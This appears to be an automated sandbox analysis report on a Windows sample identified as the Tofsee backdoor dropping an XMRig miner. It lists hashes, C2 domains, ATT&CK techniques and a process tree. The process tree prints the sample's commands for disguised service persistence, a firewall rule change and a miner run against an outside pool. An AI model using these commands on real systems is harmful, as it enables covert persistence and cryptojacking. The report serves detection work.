Analysis

  • max time kernel
    149s
  • max time network
    158s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13-05-2023 22:59

General

  • Target

    yoepjxj2k.exe

  • Size

    231KB

  • MD5

    e24bde37506309010eaaa9cd16543deb

  • SHA1

    7b3184f8b36410489725fab73d8f3b699811fcdd

  • SHA256

    eb83af89295470eacddb4854fdce4d921f814ad636e70648ddd3b03295463492

  • SHA512

    13a8697c00f591bf354e8e477b0248b6668d2c5e0ea98b5b390bd6922df94a67476d9e68e017ca685d0e0d14a0bd0ab1f127476d808aefc9c06199624f8fe421

  • SSDEEP

    3072:kJqiwS9dIvHI/vMkB3ld6iV8/1F5MwmF7a19Zubmqv5NxFul5gR/8WI4Oh6Ixq:K53dEoHM43haF5MwEakhLCyR0Wy

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\yoepjxj2k.exe
    "C:\Users\Admin\AppData\Local\Temp\yoepjxj2k.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2392
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\gapmxkib\
      2⤵
        PID:796
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ysxvqtqs.exe" C:\Windows\SysWOW64\gapmxkib\
        2⤵
          PID:260
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create gapmxkib binPath= "C:\Windows\SysWOW64\gapmxkib\ysxvqtqs.exe /d\"C:\Users\Admin\AppData\Local\Temp\yoepjxj2k.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4052
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description gapmxkib "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2824
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start gapmxkib
          2⤵
          • Launches sc.exe
          PID:4856
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2536
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2392 -s 1036
          2⤵
          • Program crash
          PID:4136
      • C:\Windows\SysWOW64\gapmxkib\ysxvqtqs.exe
        C:\Windows\SysWOW64\gapmxkib\ysxvqtqs.exe /d"C:\Users\Admin\AppData\Local\Temp\yoepjxj2k.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2088
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:3400
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe --algo=cn-heavy/xhv -o fastpool.xyz:10162 -u abLocBRHmSKSwfZexhaPDFFpUd1Szsp1RWPZktGDuK2w76S3KYNSLGndi55YtoHoKYbSFMCCWjxzTfwHxZSm7sNLe2rAq4DqbAF.70000 -p x -k
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4316
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2088 -s 512
          2⤵
          • Program crash
          PID:4512
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 2392 -ip 2392
        1⤵
          PID:2204
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 2088 -ip 2088
          1⤵
            PID:2960

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\ysxvqtqs.exe
            Filesize

            12.5MB

            MD5

            fcae04bcd67aa7c506d1bd3f79cce499

            SHA1

            e3dbdcc289385f2409520fe7cd40871f6761b0db

            SHA256

            43fbb14ff2cf25f55c6d2e38d5bca5342e6a56ef6193fd7980a4f9aac0d10164

            SHA512

            7c420ae65f9ead4cf3b409f025e7afee6a99181eed8a7f1868b972ffde75542eb1c096d9d9963d555d8fc6e7df3556a6511cf0b4653ee7d33eea8f376bf71ebe

          • C:\Windows\SysWOW64\gapmxkib\ysxvqtqs.exe
            Filesize

            12.5MB

            MD5

            fcae04bcd67aa7c506d1bd3f79cce499

            SHA1

            e3dbdcc289385f2409520fe7cd40871f6761b0db

            SHA256

            43fbb14ff2cf25f55c6d2e38d5bca5342e6a56ef6193fd7980a4f9aac0d10164

            SHA512

            7c420ae65f9ead4cf3b409f025e7afee6a99181eed8a7f1868b972ffde75542eb1c096d9d9963d555d8fc6e7df3556a6511cf0b4653ee7d33eea8f376bf71ebe

          • memory/2088-145-0x0000000000400000-0x00000000006BA000-memory.dmp
            Filesize

            2.7MB

          • memory/2088-143-0x00000000007D0000-0x00000000007E3000-memory.dmp
            Filesize

            76KB

          • memory/2392-137-0x0000000000400000-0x00000000006BA000-memory.dmp
            Filesize

            2.7MB

          • memory/2392-134-0x0000000000810000-0x0000000000823000-memory.dmp
            Filesize

            76KB

          • memory/2392-146-0x0000000000400000-0x00000000006BA000-memory.dmp
            Filesize

            2.7MB

          • memory/3400-167-0x0000000002420000-0x0000000002430000-memory.dmp
            Filesize

            64KB

          • memory/3400-172-0x0000000002420000-0x0000000002430000-memory.dmp
            Filesize

            64KB

          • memory/3400-147-0x0000000000390000-0x00000000003A5000-memory.dmp
            Filesize

            84KB

          • memory/3400-148-0x0000000000390000-0x00000000003A5000-memory.dmp
            Filesize

            84KB

          • memory/3400-150-0x0000000000390000-0x00000000003A5000-memory.dmp
            Filesize

            84KB

          • memory/3400-151-0x0000000002200000-0x000000000240F000-memory.dmp
            Filesize

            2.1MB

          • memory/3400-154-0x0000000002200000-0x000000000240F000-memory.dmp
            Filesize

            2.1MB

          • memory/3400-155-0x0000000002410000-0x0000000002416000-memory.dmp
            Filesize

            24KB

          • memory/3400-158-0x0000000002420000-0x0000000002430000-memory.dmp
            Filesize

            64KB

          • memory/3400-161-0x0000000002420000-0x0000000002430000-memory.dmp
            Filesize

            64KB

          • memory/3400-162-0x0000000002420000-0x0000000002430000-memory.dmp
            Filesize

            64KB

          • memory/3400-163-0x0000000002420000-0x0000000002430000-memory.dmp
            Filesize

            64KB

          • memory/3400-164-0x0000000002420000-0x0000000002430000-memory.dmp
            Filesize

            64KB

          • memory/3400-165-0x0000000002420000-0x0000000002430000-memory.dmp
            Filesize

            64KB

          • memory/3400-166-0x0000000002420000-0x0000000002430000-memory.dmp
            Filesize

            64KB

          • memory/3400-140-0x0000000000390000-0x00000000003A5000-memory.dmp
            Filesize

            84KB

          • memory/3400-168-0x0000000002420000-0x0000000002430000-memory.dmp
            Filesize

            64KB

          • memory/3400-169-0x0000000002420000-0x0000000002430000-memory.dmp
            Filesize

            64KB

          • memory/3400-170-0x0000000002420000-0x0000000002430000-memory.dmp
            Filesize

            64KB

          • memory/3400-144-0x0000000000390000-0x00000000003A5000-memory.dmp
            Filesize

            84KB

          • memory/3400-173-0x0000000002420000-0x0000000002430000-memory.dmp
            Filesize

            64KB

          • memory/3400-171-0x0000000002420000-0x0000000002430000-memory.dmp
            Filesize

            64KB

          • memory/3400-174-0x0000000002420000-0x0000000002430000-memory.dmp
            Filesize

            64KB

          • memory/3400-175-0x0000000002420000-0x0000000002430000-memory.dmp
            Filesize

            64KB

          • memory/3400-177-0x0000000002420000-0x0000000002430000-memory.dmp
            Filesize

            64KB

          • memory/3400-176-0x0000000002420000-0x0000000002430000-memory.dmp
            Filesize

            64KB

          • memory/3400-178-0x00000000025F0000-0x00000000025F5000-memory.dmp
            Filesize

            20KB

          • memory/3400-181-0x00000000025F0000-0x00000000025F5000-memory.dmp
            Filesize

            20KB

          • memory/3400-182-0x0000000007100000-0x000000000750B000-memory.dmp
            Filesize

            4.0MB

          • memory/3400-185-0x0000000007100000-0x000000000750B000-memory.dmp
            Filesize

            4.0MB

          • memory/3400-186-0x0000000007650000-0x0000000007657000-memory.dmp
            Filesize

            28KB

          • memory/4316-190-0x0000000000E70000-0x0000000000F61000-memory.dmp
            Filesize

            964KB

          • memory/4316-195-0x0000000000E70000-0x0000000000F61000-memory.dmp
            Filesize

            964KB

          • memory/4316-196-0x0000000000E70000-0x0000000000F61000-memory.dmp
            Filesize

            964KB

          • memory/4316-197-0x0000000000E70000-0x0000000000F61000-memory.dmp
            Filesize

            964KB

          • memory/4316-198-0x0000000000E70000-0x0000000000F61000-memory.dmp
            Filesize

            964KB

          • memory/4316-199-0x0000000000E70000-0x0000000000F61000-memory.dmp
            Filesize

            964KB

          • memory/4316-200-0x0000000000E70000-0x0000000000F61000-memory.dmp
            Filesize

            964KB

          • memory/4316-201-0x0000000000E70000-0x0000000000F61000-memory.dmp
            Filesize

            964KB